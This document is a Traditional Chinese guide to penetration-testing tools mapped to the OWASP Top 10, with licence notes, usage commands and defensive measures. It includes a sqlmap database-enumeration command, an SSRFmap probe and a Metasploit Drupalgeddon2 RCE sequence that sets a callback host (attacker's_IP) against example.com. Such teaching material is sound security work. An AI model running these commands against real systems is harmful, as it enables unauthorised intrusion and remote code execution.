Pentest Toolkit
這些工具的授權方式如下:
免費開源工具(可免費使用)
- SQLMAP - 開源(GPLv2),免費使用。
- Zed Attack Proxy (ZAP) - 開源(Apache 2.0),免費使用。
- Nikto - 開源(GPL),免費使用。
- OpenVAS - 開源(GPL),免費使用。
- SSRFmap - 開源(MIT),免費使用。
- Dependency-Check - 開源(Apache 2.0),免費使用。
免費版 + 付費版的工具
- Burp Suite
- Burp Suite Community Edition(免費,但功能 有限,如無法使用自動掃描等進階功能)
- Burp Suite Professional(付費,提供完整功能)
- Burp Suite Enterprise(付費,適用於企業自動化掃描)
- Metasploit
- Metasploit Framework(開源,免費使用)
- Metasploit Pro(付費,提供自動化滲透測試等進階功能)
如果你只是學習或進行基本的安全測試,這些工具的免費版本通常已經足夠,但如果需要企業級支援或自動化測試,可能需要付費版本。
1. SQLMAP – 自動化 SQL 注入測試工具
對應漏洞:A03 – SQL 注入(Injection)
介紹: SQLMAP 是一款開源工具,能夠自動檢測和利用 SQL 注入漏洞,支援 MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等多種資料庫。
使用方式: 如果網站的登入表單可疑,可以使用 SQLMAP 測試:
sqlmap -u "http://example.com/login.php?id=1" --dbs
這將測試 id=1 是否可被 SQL 注入,並列出所有可用資料庫。
防禦措施:
- 使用 參數化查詢(Prepared Statements)
- 限制 SQL 權限
- 設定 Web 應用程式防火牆(WAF) 過濾惡意 SQL 查詢
2. ZAP (Zed Attack Proxy) – OWASP 官方滲透測試工具
對應漏洞:A01(權限控制失效)、A03(SQL 注入)、A07(身份驗證失敗)等多種漏洞
介紹: ZAP 是 OWASP 官方開發的免費 Web 安全測試工具,適合測試 身份驗證、存取控制、SQL 注入、XSS 等漏洞。
使用方式:
- 攔截並修改請求:測試是否可以繞過身份驗證或權限檢查
- 自動化爬取網站並進行掃描
- 模擬攻擊(例如 SQL 注入、XSS、CSRF)
防禦措施:
- 限制 API 端點存取
- 強制使用 安全 Cookie 與 CORS 設定
- 加強身份驗證與權限控管
3. Nikto – Web 伺服器漏洞掃描工具
對應漏洞:A05(安全設定錯誤)、A06(過時元件)
介紹: Nikto 主要用來掃描 Web 伺服器的 不安全設定,例如預設帳號、過時的 PHP 版本、開啟的管理介面等。
使用方式:
nikto -h http://example.com
這將掃描 example.com 是否有已知漏洞,如 Apache 過時版本、開啟的 目錄瀏覽(Directory Listing) 等。
防禦措施:
- 關閉預設管理介面(如
phpmyadmin) - 定期更新 Web 伺服器與框架
- 關閉不必要的端口與功能
4. OpenVAS – 全方位漏洞掃描與管理系統
對應漏洞:A05(安全設定錯誤)、A06(過時元件)、A09(安全記錄與監控失敗)
介紹: OpenVAS(Open Vulnerability Assessment System)是一款 全面的漏洞掃描與管理系統,可針對 伺服器、網路設備、應用程式 進行深入掃描,找出 錯誤設定、過時軟體、已知 CVE(Common Vulnerabilities and Exposures) 等問題。
使用方式:
- 安裝 OpenVAS(Greenbone Security Assistant):
sudo apt update
sudo apt install openvas
- 啟動 OpenVAS 並開始掃描:
sudo gvm-check-setup
sudo gvm-start
- 開啟 Web UI(預設在
https://localhost:9392),登入後啟動掃描目標網站或 IP。
防禦措施:
- 使用 OpenVAS 進行定期安全掃描
- 修復報告中列出的高風險漏洞
- 使用最新版本的伺服器與應用程式
5. SSRFmap – 專門測試伺服端請求偽造(SSRF)
對應漏洞:A10(伺服端請求偽造, SSRF)
介紹: SSRFmap 是專門用來測試 SSRF 漏洞 的工具,攻擊者可以利用它存取內部伺服器(如 AWS Metadata)。
使用方式:
python ssrfmap.py -u "http://example.com/fetch?url=TARGET" -p "url"
如果回應包含內部 IP 或 Metadata,表示存在 SSRF 漏洞。
防禦措施:
- 封鎖內部 IP(127.0.0.1, 169.254.169.254)
- 實施 URL Allowlist,只允許特定網站存取
- 限制伺服器存取外部網站的能力
6. Dependency-Check – 第三方套件漏洞檢測
對應漏洞:A06(過時元件)、A08(供應鏈攻擊)
介紹: Dependency-Check 是 OWASP 官方工具,用來掃描 第三方函式庫 是否有已知漏洞(CVE)。
使用方式:
dependency-check --project MyApp --scan /path/to/project
這將檢查專案內的所有套件,並回報是否有已知漏洞。
防禦措施:
- 定期更新所有第三方函式庫
- 使用 SCA(Software Composition Analysis)工具 監測供應鏈風險
- 避免使用來歷不明的套件
7. Metasploit – 漏洞利用框架
對應漏洞:A06(過時元件)、A08(供應鏈攻擊)、A09(安全監控失敗)
介紹: Metasploit 是一款強大的滲透測試框架,可以自動化測試 已知 漏洞,並模擬駭客攻擊。
使用方式:
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS example.com
set LHOST attacker's_IP
run
這將測試目標網站 是否受 Drupal 7 RCE 漏洞影響。
防禦措施:
- 定期更新伺服器與框架
- 使用 IDS/IPS 監控異常流量
- 設定最小權限原則,避 免駭客橫向移動
8. Burp Suite – 進階滲透測試工具
對應漏洞:A01(Broken Access Control)、A07(身份驗證失敗)、A10(SSRF)等
介紹: Burp Suite 是專業的滲透測試工具,具有攔截請求、修改參數、暴力破解登入等功能,適合進階的 Web 測試。
使用方式:
- 攔截並修改 API 請求,測試是否能繞過存取控制
- 透過 Intruder 模組暴力破解登入
- 測試 SSRF,查看是否能存取內部伺服器
防禦措施:
- 使用 嚴格的存取控制機制(RBAC)
- 限制 API 存取,使用 JWT 驗證
- 為敏感操作增加 多因素驗證(MFA)
總結
| 漏洞類型 | 檢測工具 |
|---|---|
| 權限控制失效(A01) | Burp Suite, ZAP |
| 密碼管理失敗(A02) | Burp Suite, ZAP, Hydra |
| SQL 注入(A03) | SQLMAP, Burp Suite, ZAP |
| 不安全設計(A04) | OWASP Threat Dragon |
| 安全設定錯誤(A05) | Nikto, Metasploit, OpenVAS |
| 過時元件(A06) | Dependency-Check, Metasploit, OpenVAS |
| 身分驗證失敗(A07) | ZAP, Burp Suite |
| 軟體完整性失敗(A08) | Dependency-Check |
| 安全監控失敗(A09) | SIEM, Graylog, Splunk, OpenVAS |
| SSRF(A10) | SSRFmap, Burp Suite |
這些工具可以幫助你測試 OWASP Top 10 的各種漏洞,建議在 合法授權 的情況下使用,例如對自己公司的網站進行安全測試。